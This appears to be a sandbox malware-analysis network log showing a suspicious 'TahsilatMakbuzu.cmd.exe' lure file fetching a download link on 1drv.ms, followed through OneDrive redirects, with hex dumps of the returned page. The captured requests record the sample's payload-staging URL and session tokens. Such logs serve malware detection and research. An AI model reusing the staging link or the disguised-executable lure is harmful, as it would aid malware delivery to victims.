2024-07-04 18:17:52 UTC	8192	IN	Data Raw: 2d 45 34 45 31 37 39 36 30 37 38 45 35 22 3a 74 72 75 65 2c 22 36 45 37 31 38 31 42 42 2d 36 37 38 38 2d 34 34 30 31 2d 38 35 36 31 2d 38 35 38 36 30 44 38 37 32 32 32 33 22 3a 74 72 75 65 2c 22 38 46 34 41 31 30 39 41 2d 38 37 34 38 2d 34 38 32 42 2d 39 33 31 44 2d 46 45 30 46 45 44 36 38 38 30 33 44 22 3a 74 72 75 65 2c 22 32 43 35 35 30 32 45 38 2d 39 42 46 30 2d 34 45 44 39 2d 41 44 37 36 2d 39 42 42 45 31 31 34 35 45 37 36 31 22 3a 74 72 75 65 2c 22 39 32 46 44 41 42 32 39 2d 34 42 43 46 2d 34 32 37 46 2d 39 34 36 43 2d 44 35 45 38 45 43 45 33 35 42 36 46 22 3a 74 72 75 65 2c 22 39 31 44 33 36 41 43 34 2d 33 46 42 34 2d 34 31 37 36 2d 39 39 36 44 2d 41 32 30 42 45 32 46 34 44 33 37 31 22 3a 74 72 75 65 2c 22 44 44 30 31 31 42 43 41 2d 34 41 37 45 2d Data Ascii: -E4E1796078E5":true,"6E7181BB-6788-4401-8561-85860D872223":true,"8F4A109A-8748-482B-931D-FE0FED68803D":true,"2C5502E8-9BF0-4ED9-AD76-9BBE1145E761":true,"92FDAB29-4BCF-427F-946C-D5E8ECE35B6F":true,"91D36AC4-3FB4-4176-996D-A20BE2F4D371":true,"DD011BCA-4A7E-
2024-07-04 18:17:52 UTC	8192	IN	Data Raw: 39 35 35 42 36 22 3a 74 72 75 65 2c 22 33 34 46 36 45 37 33 32 2d 43 31 35 34 2d 34 37 38 38 2d 39 44 32 42 2d 32 42 41 44 46 42 45 30 46 43 44 34 22 3a 74 72 75 65 2c 22 45 44 41 32 35 45 45 41 2d 45 34 35 35 2d 34 36 43 38 2d 42 39 42 46 2d 45 32 34 44 34 37 43 39 44 44 41 46 22 3a 74 72 75 65 2c 22 30 44 35 33 35 34 38 38 2d 46 30 35 36 2d 34 38 32 30 2d 41 39 43 31 2d 39 33 37 36 41 46 36 39 39 32 46 43 22 3a 74 72 75 65 2c 22 38 36 44 44 38 46 34 44 2d 36 41 31 43 2d 34 43 44 31 2d 39 43 46 36 2d 37 46 41 39 41 41 33 35 45 41 44 45 22 3a 74 72 75 65 2c 22 43 37 45 33 44 30 33 39 2d 41 35 30 44 2d 34 31 36 35 2d 39 35 34 42 2d 30 46 46 32 35 31 39 31 46 42 36 41 22 3a 74 72 75 65 2c 22 30 32 46 44 44 42 31 44 2d 30 38 32 34 2d 34 34 34 32 2d 38 35 34 Data Ascii: 955B6":true,"34F6E732-C154-4788-9D2B-2BADFBE0FCD4":true,"EDA25EEA-E455-46C8-B9BF-E24D47C9DDAF":true,"0D535488-F056-4820-A9C1-9376AF6992FC":true,"86DD8F4D-6A1C-4CD1-9CF6-7FA9AA35EADE":true,"C7E3D039-A50D-4165-954B-0FF25191FB6A":true,"02FDDB1D-0824-4442-854
2024-07-04 18:17:52 UTC	8192	IN	Data Raw: 72 75 65 2c 22 43 39 46 45 39 44 44 42 2d 31 36 30 38 2d 34 30 41 45 2d 38 46 30 35 2d 31 42 46 44 34 43 46 43 38 43 35 33 22 3a 74 72 75 65 2c 22 41 45 32 30 44 43 30 34 2d 37 31 31 41 2d 34 37 36 38 2d 42 30 30 41 2d 32 41 33 32 39 33 35 41 36 36 46 37 22 3a 74 72 75 65 2c 22 43 32 36 33 43 41 44 43 2d 31 41 32 31 2d 34 35 38 38 2d 38 35 36 31 2d 43 37 39 46 42 30 35 31 31 38 41 37 22 3a 74 72 75 65 2c 22 37 37 42 31 32 45 33 30 2d 35 31 39 32 2d 34 30 45 37 2d 41 36 45 41 2d 46 38 34 31 35 35 31 33 46 37 37 33 22 3a 74 72 75 65 2c 22 43 32 45 32 34 37 42 46 2d 45 34 38 35 2d 34 41 37 30 2d 39 34 37 46 2d 35 30 46 33 42 38 41 43 30 39 44 38 22 3a 74 72 75 65 2c 22 33 44 30 45 41 30 34 45 2d 36 31 41 41 2d 34 42 35 37 2d 41 35 44 32 2d 33 37 37 46 37 36 Data Ascii: rue,"C9FE9DDB-1608-40AE-8F05-1BFD4CFC8C53":true,"AE20DC04-711A-4768-B00A-2A32935A66F7":true,"C263CADC-1A21-4588-8561-C79FB05118A7":true,"77B12E30-5192-40E7-A6EA-F8415513F773":true,"C2E247BF-E485-4A70-947F-50F3B8AC09D8":true,"3D0EA04E-61AA-4B57-A5D2-377F76
2024-07-04 18:17:52 UTC	8192	IN	Data Raw: 38 42 44 44 46 2d 33 39 31 32 2d 34 37 43 37 2d 38 35 38 32 2d 38 32 35 41 39 46 39 33 46 42 35 32 22 3a 74 72 75 65 2c 22 32 42 35 32 41 42 42 36 2d 46 37 32 45 2d 34 44 38 36 2d 39 44 36 37 2d 46 38 35 44 46 44 32 34 39 44 34 42 22 3a 74 72 75 65 2c 22 32 33 39 33 32 38 45 43 2d 32 30 39 38 2d 34 36 42 42 2d 39 43 35 43 2d 33 44 45 36 36 39 38 38 32 39 37 44 22 3a 74 72 75 65 2c 22 32 44 45 46 30 32 31 33 2d 35 30 35 45 2d 34 42 42 33 2d 38 34 34 31 2d 31 39 45 33 41 45 43 30 44 33 35 32 22 3a 74 72 75 65 2c 22 45 41 30 34 37 39 38 41 2d 42 35 30 31 2d 34 37 46 39 2d 41 35 31 41 2d 39 42 36 33 45 32 39 37 44 34 43 44 22 3a 74 72 75 65 2c 22 35 44 31 39 46 45 44 32 2d 32 42 46 36 2d 34 38 45 38 2d 39 43 41 44 2d 32 44 38 44 35 44 32 34 35 39 43 31 22 3a Data Ascii: 8BDDF-3912-47C7-8582-825A9F93FB52":true,"2B52ABB6-F72E-4D86-9D67-F85DFD249D4B":true,"239328EC-2098-46BB-9C5C-3DE66988297D":true,"2DEF0213-505E-4BB3-8441-19E3AEC0D352":true,"EA04798A-B501-47F9-A51A-9B63E297D4CD":true,"5D19FED2-2BF6-48E8-9CAD-2D8D5D2459C1":

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.6	49832	13.107.42.12	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:17:53 UTC	75	OUT	GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1 Host: 1drv.ms
2024-07-04 18:17:53 UTC	592	IN	HTTP/1.1 301 Moved Permanently Location: https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ X-MSNSERVER: DS1PPF596DC075C Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: B8YVvuc3eUOmRJEmFtbEBw.0 X-AsmVersion: UNKNOWN; 19.1445.617.2015 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: E0AA4B59DE884FE3B593B4990AB23D22 Ref B: EWR30EDGE1009 Ref C: 2024-07-04T18:17:53Z Date: Thu, 04 Jul 2024 18:17:52 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.6	49833	13.107.137.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:17:54 UTC	191	OUT	GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1 Host: onedrive.live.com
2024-07-04 18:17:54 UTC	2221	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 311 Content-Type: text/html; charset=utf-8 Expires: -1 Location: /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd Set-Cookie: E=P:Wqx9n1Wc3Ig=:za7Nhuc7vcMx/lFTjsMRobGJcqjropL2ppyl+IEAkQo=:F; domain=.live.com; path=/ Set-Cookie: xid=e4393a97-5280-43bf-af52-5ef5669bff22&&ODSP-ODWEB-ODCF&228; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 04-Jul-2024 16:37:54 GMT; path=/ Set-Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODc0LCJuYmYiOjE3MjAxMTcwNzQsImdpdmVuX25hbWUiOiIxNiIsImZhbWlseV9uYW1lIjoiV2FsbGFieSIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6IjRlYzEzMzY5ZTEzZTNjZDhiNWE1NDJmNDVjYWZiMDFmIiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcwNzR9.UwvxZDPsuVjalr5D86jdwhDLIPqV-lmNJSIDHFJcRNL2xa0MrV6frYxTCkwv18dr9flC_GrCIW0Yv9oNJJKZCXm__3mkyp42q_8baiEPKErZ46V8wkaup8qmbKE7qfQ-PZqItN0N2Qih9699FDapv-vwLFTNBMEmB8tW7BAFAc8FUerzCBrpEf5bDjR7rY-opQgPLNoJ_hpvnL1useMYJ0EoCdUiGRwdeeTs3pKQAGpweoCiCxZt7BwwIIGn44LL64c7SEWLBq51NwReLLvo0_LhwSZJRmvbs3aPS2SewXdupeIDPYxMsWf6pYnxNg8MRYWhNaCn1RdC3xIxU2H5zg; path=/; SameSite=None; secure Set-Cookie: wla42=; domain=live.com; expires=Thu, 11-Jul-2024 18:17:54 GMT; path=/ X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 656bc47b7b-kv5ph X-ODWebServer: nameastus2708987-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: AB09632A418D463C84D86A96642D1253 Ref B: BN3EDGE0919 Ref C: 2024-07-04T18:17:54Z Date: Thu, 04 Jul 2024 18:17:54 GMT Connection: close
2024-07-04 18:17:54 UTC	311	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 3f 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 73 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 64 65 65 6d 3d 61 48 52 30 63 48 4d 36 4c 79 38 78 5a 48 4a 32 4c 6d 31 7a 4c 33 55 76 63 79 46 42 63 6a 4e 6f 64 46 52 6e 53 57 5a 44 64 56 39 6b 53 6e 46 48 58 33 4a 31 55 44 46 4f 4d 6d 6c 4d 5a 6d 4d 5f 5a 47 39 33 62 6d 78 76 59 57 51 39 4d 51 26 61 6d 70 3b 6d 69 67 72 61 74 65 64 74 6f 73 70 6f 3d 74 72 75 65 26 61 6d Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&am

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.6	49834	13.107.137.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:17:55 UTC	1281	OUT	GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1 Host: onedrive.live.com Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODc0LCJuYmYiOjE3MjAxMTcwNzQsImdpdmVuX25hbWUiOiIxNiIsImZhbWlseV9uYW1lIjoiV2FsbGFieSIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6IjRlYzEzMzY5ZTEzZTNjZDhiNWE1NDJmNDVjYWZiMDFmIiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcwNzR9.UwvxZDPsuVjalr5D86jdwhDLIPqV-lmNJSIDHFJcRNL2xa0MrV6frYxTCkwv18dr9flC_GrCIW0Yv9oNJJKZCXm__3mkyp42q_8baiEPKErZ46V8wkaup8qmbKE7qfQ-PZqItN0N2Qih9699FDapv-vwLFTNBMEmB8tW7BAFAc8FUerzCBrpEf5bDjR7rY-opQgPLNoJ_hpvnL1useMYJ0EoCdUiGRwdeeTs3pKQAGpweoCiCxZt7BwwIIGn44LL64c7SEWLBq51NwReLLvo0_LhwSZJRmvbs3aPS2SewXdupeIDPYxMsWf6pYnxNg8MRYWhNaCn1RdC3xIxU2H5zg; E=P:Wqx9n1Wc3Ig=:za7Nhuc7vcMx/lFTjsMRobGJcqjropL2ppyl+IEAkQo=:F; xid=e4393a97-5280-43bf-af52-5ef5669b [TRUNCATED]
2024-07-04 18:17:55 UTC	1924	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 205808 Content-Type: text/html; charset=utf-8 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" WWW-Authenticate: Wlid1.1 realm="WindowsLive", fault="BadContextToken", policy="MBI_SSL", ver="7.5.0.0", target="ssl.live.com", siteId="ssl.live.com" X-NetworkStatistics: 0,525568,0,0,10002,0,51506,26 X-SharePointHealthScore: 2 Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: 471239a1-e06d-5000-cbc7-5996b8850d3f request-id: 471239a1-e06d-5000-cbc7-5996b8850d3f MS-CV: oTkSR23gAFDLx1mWuIUNPw.0 Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com *.onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 30 SPIisLatency: 2 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25019 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 1ED6D71024FD405597956556D1BD9BD2 Ref B: BN3EDGE1022 Ref C: 2024-07-04T18:17:55Z Date: Thu, 04 Jul 2024 18:17:55 GMT Connection: close
2024-07-04 18:17:55 UTC	3384	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 20 2f 3e Data Ascii: <!DOCTYPE html><html lang="en-us" dir="ltr"> <head><meta http-equiv="Content-type" content="text/html; charset=utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no" />
2024-07-04 18:17:55 UTC	8192	IN	Data Raw: 73 65 74 73 49 6e 42 43 50 61 67 65 43 6f 6e 74 65 78 74 22 2c 22 53 50 4f 43 6c 69 65 6e 74 43 61 6e 61 72 79 46 6c 69 67 68 74 22 5d 2c 22 6b 69 6c 6c 53 77 69 74 63 68 65 73 22 3a 7b 22 35 43 30 41 38 37 42 34 2d 46 36 33 33 2d 34 38 37 34 2d 41 33 43 30 2d 46 38 36 42 33 42 38 37 42 33 34 42 22 3a 74 72 75 65 2c 22 37 46 46 38 42 32 44 41 2d 35 38 32 34 2d 34 44 43 44 2d 41 39 46 36 2d 44 41 45 30 41 34 33 39 32 37 32 46 22 3a 74 72 75 65 2c 22 43 32 38 34 35 36 34 31 2d 35 35 43 45 2d 34 42 42 38 2d 39 44 35 36 2d 33 41 41 34 41 36 32 44 46 34 35 43 22 3a 74 72 75 65 2c 22 41 37 44 31 35 41 46 42 2d 42 43 43 35 2d 34 38 42 44 2d 42 38 42 36 2d 41 39 32 36 41 34 42 45 31 37 31 41 22 3a 74 72 75 65 2c 22 30 31 46 39 45 31 36 41 2d 35 38 34 45 2d 34 36 Data Ascii: setsInBCPageContext","SPOClientCanaryFlight"],"killSwitches":{"5C0A87B4-F633-4874-A3C0-F86B3B87B34B":true,"7FF8B2DA-5824-4DCD-A9F6-DAE0A439272F":true,"C2845641-55CE-4BB8-9D56-3AA4A62DF45C":true,"A7D15AFB-BCC5-48BD-B8B6-A926A4BE171A":true,"01F9E16A-584E-46
2024-07-04 18:17:55 UTC	3002	IN	Data Raw: 44 39 35 22 3a 74 72 75 65 2c 22 30 35 33 41 31 46 31 39 2d 30 31 46 43 2d 34 36 32 46 2d 41 43 30 37 2d 35 46 31 41 41 46 36 43 45 39 34 31 22 3a 74 72 75 65 2c 22 42 37 39 36 34 36 30 44 2d 38 45 38 35 2d 34 31 44 42 2d 41 30 39 37 2d 43 35 32 36 37 44 42 39 46 38 44 45 22 3a 74 72 75 65 2c 22 37 31 32 38 44 30 30 37 2d 33 31 41 43 2d 34 34 38 30 2d 39 46 35 46 2d 41 42 35 44 36 44 42 42 39 43 39 42 22 3a 74 72 75 65 2c 22 37 31 45 36 41 39 34 46 2d 33 33 32 39 2d 34 31 36 30 2d 39 36 30 31 2d 36 45 44 36 31 41 32 43 34 37 37 32 22 3a 74 72 75 65 2c 22 41 32 42 43 33 39 37 37 2d 35 41 35 42 2d 34 30 35 44 2d 38 33 32 31 2d 42 45 39 32 37 44 30 36 30 32 41 32 22 3a 74 72 75 65 2c 22 30 35 43 41 33 38 35 42 2d 42 33 34 39 2d 34 32 45 37 2d 42 39 43 43 2d Data Ascii: D95":true,"053A1F19-01FC-462F-AC07-5F1AAF6CE941":true,"B796460D-8E85-41DB-A097-C5267DB9F8DE":true,"7128D007-31AC-4480-9F5F-AB5D6DBB9C9B":true,"71E6A94F-3329-4160-9601-6ED61A2C4772":true,"A2BC3977-5A5B-405D-8321-BE927D0602A2":true,"05CA385B-B349-42E7-B9CC-
2024-07-04 18:17:55 UTC	8192	IN	Data Raw: 22 33 30 38 45 46 30 31 30 2d 44 37 35 42 2d 34 44 36 41 2d 38 36 41 35 2d 33 46 44 37 44 34 45 46 33 34 45 32 22 3a 74 72 75 65 2c 22 42 39 30 44 41 35 46 39 2d 42 41 37 35 2d 34 42 43 43 2d 41 33 45 30 2d 39 46 39 41 42 45 30 36 46 46 35 39 22 3a 74 72 75 65 2c 22 37 33 39 33 39 43 35 46 2d 34 32 37 42 2d 34 43 30 32 2d 42 30 38 42 2d 35 30 45 37 37 38 41 42 44 46 34 42 22 3a 74 72 75 65 2c 22 33 36 45 33 33 36 38 38 2d 37 30 45 44 2d 34 39 34 41 2d 41 39 32 31 2d 37 30 35 46 33 30 38 43 31 30 41 36 22 3a 74 72 75 65 2c 22 30 35 34 36 46 30 36 35 2d 43 33 34 37 2d 34 41 44 30 2d 38 38 36 44 2d 38 44 38 34 36 39 37 33 44 43 36 38 22 3a 74 72 75 65 2c 22 32 36 36 46 33 42 42 36 2d 44 42 37 46 2d 34 32 37 30 2d 42 38 38 33 2d 44 32 35 43 42 44 32 36 37 38 Data Ascii: "308EF010-D75B-4D6A-86A5-3FD7D4EF34E2":true,"B90DA5F9-BA75-4BCC-A3E0-9F9ABE06FF59":true,"73939C5F-427B-4C02-B08B-50E778ABDF4B":true,"36E33688-70ED-494A-A921-705F308C10A6":true,"0546F065-C347-4AD0-886D-8D846973DC68":true,"266F3BB6-DB7F-4270-B883-D25CBD2678
2024-07-04 18:17:55 UTC	8192	IN	Data Raw: 44 2d 44 31 33 35 2d 34 46 31 45 2d 42 31 31 36 2d 36 39 33 33 34 36 42 30 37 42 35 42 22 3a 74 72 75 65 2c 22 34 38 36 30 42 36 30 44 2d 32 34 34 46 2d 34 46 34 42 2d 39 43 33 30 2d 30 36 30 45 32 37 44 38 42 35 31 41 22 3a 74 72 75 65 2c 22 31 34 46 45 35 43 36 45 2d 32 41 41 31 2d 34 33 43 39 2d 38 31 39 43 2d 41 39 39 35 37 32 37 32 33 35 39 43 22 3a 74 72 75 65 2c 22 41 30 39 32 31 45 34 30 2d 42 37 33 37 2d 34 43 42 46 2d 38 44 35 45 2d 46 36 31 43 41 45 30 32 46 44 30 32 22 3a 74 72 75 65 2c 22 31 33 32 37 30 30 30 33 2d 37 46 39 34 2d 34 41 35 46 2d 39 35 38 33 2d 32 31 41 37 38 43 41 46 41 31 42 42 22 3a 74 72 75 65 2c 22 44 37 42 45 38 36 39 38 2d 46 35 38 46 2d 34 43 35 33 2d 39 31 32 42 2d 34 39 39 44 34 42 33 33 46 36 45 30 22 3a 74 72 75 65 Data Ascii: D-D135-4F1E-B116-693346B07B5B":true,"4860B60D-244F-4F4B-9C30-060E27D8B51A":true,"14FE5C6E-2AA1-43C9-819C-A9957272359C":true,"A0921E40-B737-4CBF-8D5E-F61CAE02FD02":true,"13270003-7F94-4A5F-9583-21A78CAFA1BB":true,"D7BE8698-F58F-4C53-912B-499D4B33F6E0":true
2024-07-04 18:17:55 UTC	8192	IN	Data Raw: 46 31 33 2d 38 30 32 43 2d 31 31 30 31 37 45 33 31 46 44 41 33 22 3a 74 72 75 65 2c 22 36 38 34 35 31 35 41 45 2d 39 31 34 32 2d 34 30 45 35 2d 39 44 38 30 2d 35 36 33 43 37 34 46 35 30 45 35 38 22 3a 74 72 75 65 2c 22 43 37 43 34 39 34 41 38 2d 41 31 32 32 2d 34 36 38 41 2d 41 32 39 41 2d 33 42 39 41 31 39 33 43 33 33 30 41 22 3a 74 72 75 65 2c 22 33 30 41 44 30 33 42 43 2d 34 35 39 45 2d 34 45 32 30 2d 39 38 35 35 2d 34 42 38 33 39 42 33 35 44 35 43 39 22 3a 74 72 75 65 2c 22 34 41 30 36 35 43 42 45 2d 33 37 43 41 2d 34 38 46 36 2d 39 43 31 44 2d 38 35 36 42 37 38 45 34 43 42 43 36 22 3a 74 72 75 65 2c 22 38 31 34 36 31 38 36 34 2d 46 31 42 41 2d 34 36 30 43 2d 42 43 45 31 2d 44 31 44 37 43 33 39 37 35 43 30 44 22 3a 74 72 75 65 2c 22 41 45 46 34 34 33 Data Ascii: F13-802C-11017E31FDA3":true,"684515AE-9142-40E5-9D80-563C74F50E58":true,"C7C494A8-A122-468A-A29A-3B9A193C330A":true,"30AD03BC-459E-4E20-9855-4B839B35D5C9":true,"4A065CBE-37CA-48F6-9C1D-856B78E4CBC6":true,"81461864-F1BA-460C-BCE1-D1D7C3975C0D":true,"AEF443
2024-07-04 18:17:55 UTC	8192	IN	Data Raw: 2d 45 34 45 31 37 39 36 30 37 38 45 35 22 3a 74 72 75 65 2c 22 36 45 37 31 38 31 42 42 2d 36 37 38 38 2d 34 34 30 31 2d 38 35 36 31 2d 38 35 38 36 30 44 38 37 32 32 32 33 22 3a 74 72 75 65 2c 22 38 46 34 41 31 30 39 41 2d 38 37 34 38 2d 34 38 32 42 2d 39 33 31 44 2d 46 45 30 46 45 44 36 38 38 30 33 44 22 3a 74 72 75 65 2c 22 32 43 35 35 30 32 45 38 2d 39 42 46 30 2d 34 45 44 39 2d 41 44 37 36 2d 39 42 42 45 31 31 34 35 45 37 36 31 22 3a 74 72 75 65 2c 22 39 32 46 44 41 42 32 39 2d 34 42 43 46 2d 34 32 37 46 2d 39 34 36 43 2d 44 35 45 38 45 43 45 33 35 42 36 46 22 3a 74 72 75 65 2c 22 39 31 44 33 36 41 43 34 2d 33 46 42 34 2d 34 31 37 36 2d 39 39 36 44 2d 41 32 30 42 45 32 46 34 44 33 37 31 22 3a 74 72 75 65 2c 22 44 44 30 31 31 42 43 41 2d 34 41 37 45 2d Data Ascii: -E4E1796078E5":true,"6E7181BB-6788-4401-8561-85860D872223":true,"8F4A109A-8748-482B-931D-FE0FED68803D":true,"2C5502E8-9BF0-4ED9-AD76-9BBE1145E761":true,"92FDAB29-4BCF-427F-946C-D5E8ECE35B6F":true,"91D36AC4-3FB4-4176-996D-A20BE2F4D371":true,"DD011BCA-4A7E-
2024-07-04 18:17:55 UTC	8192	IN	Data Raw: 39 35 35 42 36 22 3a 74 72 75 65 2c 22 33 34 46 36 45 37 33 32 2d 43 31 35 34 2d 34 37 38 38 2d 39 44 32 42 2d 32 42 41 44 46 42 45 30 46 43 44 34 22 3a 74 72 75 65 2c 22 45 44 41 32 35 45 45 41 2d 45 34 35 35 2d 34 36 43 38 2d 42 39 42 46 2d 45 32 34 44 34 37 43 39 44 44 41 46 22 3a 74 72 75 65 2c 22 30 44 35 33 35 34 38 38 2d 46 30 35 36 2d 34 38 32 30 2d 41 39 43 31 2d 39 33 37 36 41 46 36 39 39 32 46 43 22 3a 74 72 75 65 2c 22 38 36 44 44 38 46 34 44 2d 36 41 31 43 2d 34 43 44 31 2d 39 43 46 36 2d 37 46 41 39 41 41 33 35 45 41 44 45 22 3a 74 72 75 65 2c 22 43 37 45 33 44 30 33 39 2d 41 35 30 44 2d 34 31 36 35 2d 39 35 34 42 2d 30 46 46 32 35 31 39 31 46 42 36 41 22 3a 74 72 75 65 2c 22 30 32 46 44 44 42 31 44 2d 30 38 32 34 2d 34 34 34 32 2d 38 35 34 Data Ascii: 955B6":true,"34F6E732-C154-4788-9D2B-2BADFBE0FCD4":true,"EDA25EEA-E455-46C8-B9BF-E24D47C9DDAF":true,"0D535488-F056-4820-A9C1-9376AF6992FC":true,"86DD8F4D-6A1C-4CD1-9CF6-7FA9AA35EADE":true,"C7E3D039-A50D-4165-954B-0FF25191FB6A":true,"02FDDB1D-0824-4442-854
